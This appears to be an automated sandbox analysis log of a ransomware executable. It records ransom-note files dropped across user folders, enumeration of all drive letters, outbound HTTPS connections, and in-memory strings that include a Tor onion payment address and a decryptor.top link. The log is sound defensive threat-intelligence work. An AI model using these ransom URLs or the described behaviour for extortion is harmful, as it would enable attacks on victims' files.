            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\lijdsfkjzg\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\nymmpceima\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\pivfageaav\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\sqsjkebwdt\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\suavtzknfl\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\wshejmdvqc\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\favorites\links\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\pictures\camera roll\37g7mqh9-readme.txtJump to behavior
            Source: unknownHTTPS traffic detected: 149.210.207.139:443 -> 192.168.2.3:49737 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 195.242.130.99:443 -> 192.168.2.3:49744 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 185.151.30.134:443 -> 192.168.2.3:49745 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 81.19.159.86:443 -> 192.168.2.3:49746 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 66.228.32.51:443 -> 192.168.2.3:49747 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 87.98.154.146:443 -> 192.168.2.3:49748 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 217.160.0.84:443 -> 192.168.2.3:49749 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 213.186.33.151:443 -> 192.168.2.3:49750 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 51.178.54.109:443 -> 192.168.2.3:49751 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 159.203.88.13:443 -> 192.168.2.3:49752 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 149.126.4.26:443 -> 192.168.2.3:49753 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 139.162.168.84:443 -> 192.168.2.3:49756 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 139.162.168.84:443 -> 192.168.2.3:49757 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 52.42.236.180:443 -> 192.168.2.3:49758 version: TLS 1.2
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: z:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: x:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: v:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: t:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: r:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: p:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: n:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: l:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: j:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: h:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: f:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: d:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: b:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: y:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: w:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: u:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: s:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: q:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: o:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: m:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: k:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: i:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: g:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: e:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: c:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile opened: a:Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeCode function: 0_2_00B66299 FindFirstFileW,FindNextFileW,FindClose,0_2_00B66299

            Networking:

            barindex
            Found Tor onion addressShow sources
            Source: NtJd0gjCZE.exe, 00000000.00000003.207907242.0000000003040000.00000004.00000040.sdmpString found in binary or memory: b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID}
            Source: NtJd0gjCZE.exe, 00000000.00000003.386509822.0000000003029000.00000004.00000040.sdmpString found in binary or memory: b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/62E950957E5DD9FD
            Source: 37g7mqh9-readme.txt39.0.drString found in binary or memory: b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/62E950957E5DD9FD
            Source: Joe Sandbox ViewIP Address: 66.228.32.51 66.228.32.51
            Source: Joe Sandbox ViewASN Name: LINODE-APLinodeLLCUS LINODE-APLinodeLLCUS
            Source: Joe Sandbox ViewASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS
            Source: Joe Sandbox ViewJA3 fingerprint: ce5f3254611a8c095a3d821d44539877
            Source: unknownHTTPS traffic detected: 185.37.70.54:443 -> 192.168.2.3:49736 version: TLS 1.0
            Source: unknownDNS traffic detected: queries for: bluelakevision.com
            Source: NtJd0gjCZE.exe, 00000000.00000003.207907242.0000000003040000.00000004.00000040.sdmpString found in binary or memory: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/
            Source: NtJd0gjCZE.exe, 00000000.00000003.386509822.0000000003029000.00000004.00000040.sdmp, 37g7mqh9-readme.txt39.0.drString found in binary or memory: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/62E950957E5DD9FD
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c0
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: http://cps.letsencrypt.org0
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: http://cps.root-x1.letsencrypt.org0
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: http://crl.comodoca.com/cPanelIncCertificationAuthority.crl0
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crl0
            Source: NtJd0gjCZE.exe, 00000000.00000003.438812188.0000000001473000.00000004.00000001.sdmpString found in binary or memory: http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
            Source: 77EC63BDA74BD0D0E0426DC8F8008506.0.drString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmp, NtJd0gjCZE.exe, 00000000.00000002.485975281.0000000005C00000.00000004.00000001.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?0fb01a0373837
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabC
            Source: NtJd0gjCZE.exe, 00000000.00000003.207907242.0000000003040000.00000004.00000040.sdmpString found in binary or memory: http://decryptor.top/
            Source: NtJd0gjCZE.exe, 00000000.00000003.386509822.0000000003029000.00000004.00000040.sdmp, 37g7mqh9-readme.txt39.0.drString found in binary or memory: http://decryptor.top/62E950957E5DD9FD
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: http://gmpg.org/xfn/11
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: http://ocsp.comodoca.com0
            Source: NtJd0gjCZE.exe, 00000000.00000003.438812188.0000000001473000.00000004.00000001.sdmpString found in binary or memory: http://ocsp.sectigo.com05
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: http://r3.i.lencr.org/0
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: http://r3.i.lencr.org/07
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: http://r3.i.lencr.org/0;
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: http://r3.i.lencr.org/0K
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: http://r3.i.lencr.org/0p
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: http://r3.o.lencr.org0
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: http://x1.c.lencr.org/0
            Source: NtJd0gjCZE.exe, 00000000.00000002.473721389.0000000001432000.00000004.00000020.sdmp, 2D85F72862B55C4EADD9E66E06947F3D.0.drString found in binary or memory: http://x1.i.lencr.org/
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: http://x1.i.lencr.org/0
            Source: NtJd0gjCZE.exe, 00000000.00000003.448625820.00000000014CB000.00000004.00000001.sdmpString found in binary or memory: https://advanced-removals.co.uk/
            Source: NtJd0gjCZE.exe, 00000000.00000002.473721389.0000000001432000.00000004.00000020.sdmpString found in binary or memory: https://advanced-removals.co.uk/static/image/nlprmpyt.png
            Source: NtJd0gjCZE.exe, 00000000.00000002.473721389.0000000001432000.00000004.00000020.sdmpString found in binary or memory: https://advanced-removals.co.uk/static/image/nlprmpyt.pngl
            Source: NtJd0gjCZE.exe, 00000000.00000003.438911540.00000000014C7000.00000004.00000001.sdmp, NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://api.w.org/
            Source: NtJd0gjCZE.exe, 00000000.00000002.485975281.0000000005C00000.00000004.00000001.sdmpString found in binary or memory: https://axisoflove.org/content/pictures/tfgibrao.gif
            Source: NtJd0gjCZE.exe, 00000000.00000002.485975281.0000000005C00000.00000004.00000001.sdmpString found in binary or memory: https://axisoflove.org/content/pictures/tfgibrao.gifH
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/?page_id=84
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/animation/
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/artist-impressions/
            Source: NtJd0gjCZE.exe, 00000000.00000003.438911540.00000000014C7000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/comments/feed/
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/contact/
            Source: NtJd0gjCZE.exe, 00000000.00000003.438911540.00000000014C7000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/feed/
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/product-visualisation/
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/services/
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/vr-ar-mr/
            Source: NtJd0gjCZE.exe, 00000000.00000003.438837973.0000000001488000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/wp-
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.4.2
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/wp-content/plugins/elementor/assets/css/frontend-legacy.min.css?ver=3.3.1
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/wp-content/plugins/elementor/assets/css/frontend.min.css?ver=3.3.1
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/wp-content/themes/phlox/css/auxin-icon.css?ver=2.8.2
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/wp-content/themes/phlox/css/base.css?ver=2.8.2
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/wp-content/themes/phlox/css/main.css?ver=2.8.2
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/wp-content/themes/phlox/css/other/elementor.css?ver=2.8.2
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/wp-content/themes/phlox/js/solo/modernizr-custom.min.js?ver=2.8.2
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/wp-content/uploads/Logotbvhandtekening-1-150x150.png
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/wp-content/uploads/Logotbvhandtekening-1-226x226.png
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/wp-content/uploads/elementor/css/post-843.css?ver=1627475737
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/wp-content/uploads/phlox/custom.css?ver=4.9
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/wp-includes/css/dist/block-library/style.min.css?ver=5.8
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/wp-includes/js/jquery/jquery.min.js?ver=3.6.0
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/wp-includes/wlwmanifest.xml
            Source: NtJd0gjCZE.exe, 00000000.00000003.438911540.00000000014C7000.00000004.00000001.sdmp, NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/wp-json/
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://bluelakevision.com/xmlrpc.php?rsd
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: https://citiscapes-art.com/
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: https://citiscapes-art.com/wp-content/game/emkfin.gif
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://fonts.googleapis.com/css?family=Raleway%3A100%2C100italic%2C200%2C200italic%2C300%2C300itali
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: https://fonts.gstatic.com
            Source: NtJd0gjCZE.exe, 00000000.00000003.438852038.000000000149B000.00000004.00000001.sdmpString found in binary or memory: https://forumsittard.nl/content/pictures/mfftvbtd.gif;i
            Source: NtJd0gjCZE.exe, 00000000.00000003.438886784.00000000014B7000.00000004.00000001.sdmpString found in binary or memory: https://forumsittard.nl/wp-content/cache/autoptimize/css/autoptimize_67aee4dcb19602fc2bf36812ae67f8b
            Source: NtJd0gjCZE.exe, 00000000.00000003.438886784.00000000014B7000.00000004.00000001.sdmpString found in binary or memory: https://forumsittard.nl/wp-content/cache/autoptimize/css/autoptimize_bc24526d9e32ffc66a4e41ba110158a
            Source: NtJd0gjCZE.exe, 00000000.00000003.438886784.00000000014B7000.00000004.00000001.sdmpString found in binary or memory: https://forumsittard.nl/wp-content/themes/forumsittard/img/favicon.ico
            Source: NtJd0gjCZE.exe, 00000000.00000003.438886784.00000000014B7000.00000004.00000001.sdmpString found in binary or memory: https://forumsittard.nl/xmlrpc.php
            Source: NtJd0gjCZE.exe, 00000000.00000003.438852038.000000000149B000.00000004.00000001.sdmpString found in binary or memory: https://gosouldeep.com/:TC
            Source: NtJd0gjCZE.exe, 00000000.00000003.438852038.000000000149B000.00000004.00000001.sdmpString found in binary or memory: https://gosouldeep.com/content/images/dojkxi.gif
            Source: NtJd0gjCZE.exe, 00000000.00000003.438852038.000000000149B000.00000004.00000001.sdmpString found in binary or memory: https://gosouldeep.com/content/images/dojkxi.gif:42
            Source: NtJd0gjCZE.exe, 00000000.00000003.438824356.0000000001481000.00000004.00000001.sdmpString found in binary or memory: https://gosouldeep.com/content/images/dojkxi.gifM
            Source: NtJd0gjCZE.exe, 00000000.00000002.485975281.0000000005C00000.00000004.00000001.sdmpString found in binary or memory: https://iactechnologies.net/comments/feed/
            Source: NtJd0gjCZE.exe, 00000000.00000002.485975281.0000000005C00000.00000004.00000001.sdmpString found in binary or memory: https://iactechnologies.net/feed/
            Source: NtJd0gjCZE.exe, 00000000.00000002.485975281.0000000005C00000.00000004.00000001.sdmpString found in binary or memory: https://iactechnologies.net/wp-content/plugins/ab-simple-subscribe/css/ab-simple-subscribe.css?ver=1
            Source: NtJd0gjCZE.exe, 00000000.00000002.485975281.0000000005C00000.00000004.00000001.sdmpString found in binary or memory: https://iactechnologies.net/wp-content/plugins/ab-testimonials/css/testimonials_shortcode.css?ver=1.
            Source: NtJd0gjCZE.exe, 00000000.00000002.485975281.0000000005C00000.00000004.00000001.sdmpString found in binary or memory: https://iactechnologies.net/wp-content/plugins/ab-tweet-scroller/css/ab-tweet-scroller.css?ver=1.0.0
            Source: NtJd0gjCZE.exe, 00000000.00000002.485975281.0000000005C00000.00000004.00000001.sdmpString found in binary or memory: https://iactechnologies.net/wp-content/themes/sydney/css/bootstrap/bootstrap.min.css?ver=1
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: https://jobkiwi.com.ng/static/images/tkko.gif
            Source: NtJd0gjCZE.exe, 00000000.00000003.450558761.00000000014D8000.00000004.00000001.sdmpString found in binary or memory: https://putzen-reinigen.com/
            Source: NtJd0gjCZE.exe, 00000000.00000003.450558761.00000000014D8000.00000004.00000001.sdmpString found in binary or memory: https://putzen-reinigen.com/%
            Source: NtJd0gjCZE.exe, 00000000.00000003.450850124.00000000014CB000.00000004.00000001.sdmpString found in binary or memory: https://putzen-reinigen.com/news/images/rslbcxer.png
            Source: NtJd0gjCZE.exe, 00000000.00000003.448310033.000000000149B000.00000004.00000001.sdmpString found in binary or memory: https://putzen-reinigen.com/news/images/rslbcxer.png0uk
            Source: NtJd0gjCZE.exe, 00000000.00000003.450632497.0000000001481000.00000004.00000001.sdmpString found in binary or memory: https://rec.smartlook.com/recorder.js
            Source: NtJd0gjCZE.exe, 00000000.00000003.450632497.0000000001481000.00000004.00000001.sdmpString found in binary or memory: https://schema.org
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://schema.org/WPHeader
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: https://sectigo.com/CPS0
            Source: NtJd0gjCZE.exe, 00000000.00000003.207907242.0000000003040000.00000004.00000040.sdmp, 37g7mqh9-readme.txt39.0.drString found in binary or memory: https://torproject.org/
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: https://transifer.fr/comments/feed/
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: https://transifer.fr/feed/
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: https://transifer.fr/wp-content/plugins/gp-premium/page-header/functions/css/page-header.min.css?ver
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: https://transifer.fr/wp-content/themes/generatepress/css/unsemantic-grid.min.css?ver=2.0.2
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpString found in binary or memory: https://transifer.fr/wp-content/themes/generatepress/style.min.css?ver=2.0.2
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://www.googletagmanager.com/gtag/js?id=<
            Source: NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpString found in binary or memory: https://www.googletagmanager.com/gtag/js?id=UA-74194115-1"></script>
            Source: NtJd0gjCZE.exe, 00000000.00000002.485975281.0000000005C00000.00000004.00000001.sdmpString found in binary or memory: https://www.jobkiwi.com.ng/static/images/tkko.gif
            Source: NtJd0gjCZE.exe, 00000000.00000002.485975281.0000000005C00000.00000004.00000001.sdmpString found in binary or memory: https://www.jobkiwi.com.ng/static/images/tkko.gifLocationETagAuthentication-InfoAgeAccept-RangesLast
            Source: NtJd0gjCZE.exe, 00000000.00000002.485975281.0000000005C00000.00000004.00000001.sdmpString found in binary or memory: https://www.jobkiwi.com.ng/static/images/tkko.gifg/static/images/tkko.gif
            Source: NtJd0gjCZE.exe, 00000000.00000003.450632497.0000000001481000.00000004.00000001.sdmpString found in binary or memory: https://www.putzen-reinigen.com/
            Source: NtJd0gjCZE.exe, 00000000.00000003.450632497.0000000001481000.00000004.00000001.sdmpString found in binary or memory: https://www.putzen-reinigen.com/#website
            Source: NtJd0gjCZE.exe, 00000000.00000003.450632497.0000000001481000.00000004.00000001.sdmpString found in binary or memory: https://www.putzen-reinigen.com/?s=
            Source: NtJd0gjCZE.exe, 00000000.00000003.450632497.0000000001481000.00000004.00000001.sdmpString found in binary or memory: https://www.putzen-reinigen.com/wp-content/themes/focusblog/css/ie7.css
            Source: NtJd0gjCZE.exe, 00000000.00000003.450632497.0000000001481000.00000004.00000001.sdmpString found in binary or memory: https://www.putzen-reinigen.com/wp-content/themes/focusblog/css/ie8.css
            Source: NtJd0gjCZE.exe, 00000000.00000003.450632497.0000000001481000.00000004.00000001.sdmpString found in binary or memory: https://www.putzen-reinigen.com/wp-content/themes/focusblog/js/html5/dist/html5shiv.js
            Source: NtJd0gjCZE.exe, 00000000.00000003.450632497.0000000001481000.00000004.00000001.sdmpString found in binary or memory: https://yoast.com/wordpress/plugins/seo/
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49744
            Source: unknownNetwork traffic detected: HTTP traffic on port 49758 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49748 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49751 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49737
            Source: unknownNetwork traffic detected: HTTP traffic on port 49736 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49736
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49758
            Source: unknownNetwork traffic detected: HTTP traffic on port 49753 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49757
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49756
            Source: unknownNetwork traffic detected: HTTP traffic on port 49757 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49753
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49752
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49751
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49750
            Source: unknownNetwork traffic detected: HTTP traffic on port 49749 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49747 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49752 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49750 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49749
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49748
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49747
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
            Source: unknownNetwork traffic detected: HTTP traffic on port 49737 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49745
            Source: unknownNetwork traffic detected: HTTP traffic on port 49756 -> 443
            Source: unknownHTTPS traffic detected: 149.210.207.139:443 -> 192.168.2.3:49737 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 195.242.130.99:443 -> 192.168.2.3:49744 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 185.151.30.134:443 -> 192.168.2.3:49745 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 81.19.159.86:443 -> 192.168.2.3:49746 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 66.228.32.51:443 -> 192.168.2.3:49747 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 87.98.154.146:443 -> 192.168.2.3:49748 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 217.160.0.84:443 -> 192.168.2.3:49749 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 213.186.33.151:443 -> 192.168.2.3:49750 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 51.178.54.109:443 -> 192.168.2.3:49751 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 159.203.88.13:443 -> 192.168.2.3:49752 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 149.126.4.26:443 -> 192.168.2.3:49753 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 139.162.168.84:443 -> 192.168.2.3:49756 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 139.162.168.84:443 -> 192.168.2.3:49757 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 52.42.236.180:443 -> 192.168.2.3:49758 version: TLS 1.2
